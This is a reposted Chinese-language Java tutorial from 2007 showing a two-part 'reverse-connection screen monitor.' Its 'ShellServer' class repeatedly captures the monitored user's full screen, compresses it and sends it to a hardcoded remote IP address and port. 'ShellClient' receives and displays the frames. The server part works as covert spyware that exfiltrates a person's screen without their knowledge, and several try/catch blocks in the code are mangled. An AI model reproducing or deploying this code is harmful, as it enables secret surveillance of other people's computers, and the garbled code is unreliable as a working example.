注册 | 登录 | 设为首页 | 加入收藏
您当前的位置:飞翔学院-IT中国 → IT资讯互联网 → 文章内容

JAVA用TCP实现反向连接屏幕监视

作者:佚名 来源:不详 发布时间:2007-10-9 18:58:53

以下这个为服务器类 被监视的用户

import com.sun.image.codec.jpeg.JPEGCodec;

import com.sun.image.codec.jpeg.JPEGImageEncoder;

import java.awt.Dimension;

import java.awt.Rectangle;

import java.awt.Robot;

import java.awt.Toolkit;

import java.awt.image.BufferedImage;

import java.io.FileOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.util.zip.ZipEntry;

import java.util.zip.ZipOutputStream;

public class ShellServer extends Thread{

private Dimension screenSize;

private Rectangle rectangle;

private Robot robot;

private JPEGImageEncoder encoder;



public ShellServer() {

screenSize = Toolkit.getDefaultToolkit().getScreenSize();

rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域

try{

robot = new Robot();

}catch(Exception e)

}

public void run(){

ZipOutputStream os = null;

Socket socket=null;

while (true){

try{

socket = new Socket("220.173.44.158",5000);//连接远程IP

BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域

os = new ZipOutputStream(socket.getOutputStream());//加入压缩流

//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));



os.setLevel(9);

os.putNextEntry(new ZipEntry("1.jpg"));

JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG

os.close();

Thread.sleep(50);//每秒20帧

}catch(Exception e)finallycatch(Exception ioe){}

}

if(socket!=null){

try catch (IOException e)

}

}

}

}

public static void main(String[] args) {

new ShellServer().start();

}

}

以下这个为客户端类 监视者

import java.awt.*;

import java.awt.image.BufferedImage;

import javax.imageio.ImageIO;

import javax.swing.*;

import java.io.*;

import java.net.ServerSocket;

import java.net.Socket;

import java.util.zip.ZipInputStream;

public class ShellClient  extends JFrame{

Dimension screenSize;

public ShellClient() {

super();

screenSize = Toolkit.getDefaultToolkit().getScreenSize();

this.setSize(800, 640);//设置Frame初始

Screen p = new Screen();//屏幕类

Container c = this.getContentPane();

c.setLayout(new BorderLayout());//布局

c.add(p,"Center");//添加一个Panel

new Thread(p).start();//开启线程

this.show();//显示本Frame

}

public static void main(String[] args){

new ShellClient();

}

class Screen extends JPanel implements Runnable{

private Image cimage;

public void run(){

ServerSocket ss=null;

try{

ss=new ServerSocket(5000);//探听5000端口的连接

while(true){

Socket s=null;

try{

s=ss.accept();//获取一个SOCKET

ZipInputStream  zis=new ZipInputStream(s.getInputStream());

zis.getNextEntry();//获得ZIP流的ENTRY

cimage = ImageIO.read(zis);//把ZIP流转换为图片

//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));

repaint();//重画

}catch(Exception e)finally{

if(s!=null){

try catch (IOException e) {}

}

}

}

}catch(Exception e){}

finally{

if(ss!=null){

try catch (IOException e) {}

}

}

}

public Screen()

public void paint(Graphics g){

super.paint(g);

Graphics2D g2 = (Graphics2D) g;

g2.drawImage(cimage, 0, 0, null);

}

}

}

主要采用了TCP协议+压缩流~ 速度还可以!不过觉得还可以优化,用UDP+动态的矩阵迟点再改进吧!

查看本文来源


  • 打印文档
  • 推荐好友
  • 返回顶部
  • 增大字体
  • 减少字体
关于本站 | 工作机会 | 合作网站 | 广告服务 | 市场合作| 联系我们 | 抽奖活动
版权所有: 武汉威俊科技有限公司 Copyright 2005-2007 www.ITCNW.COM All rights reserved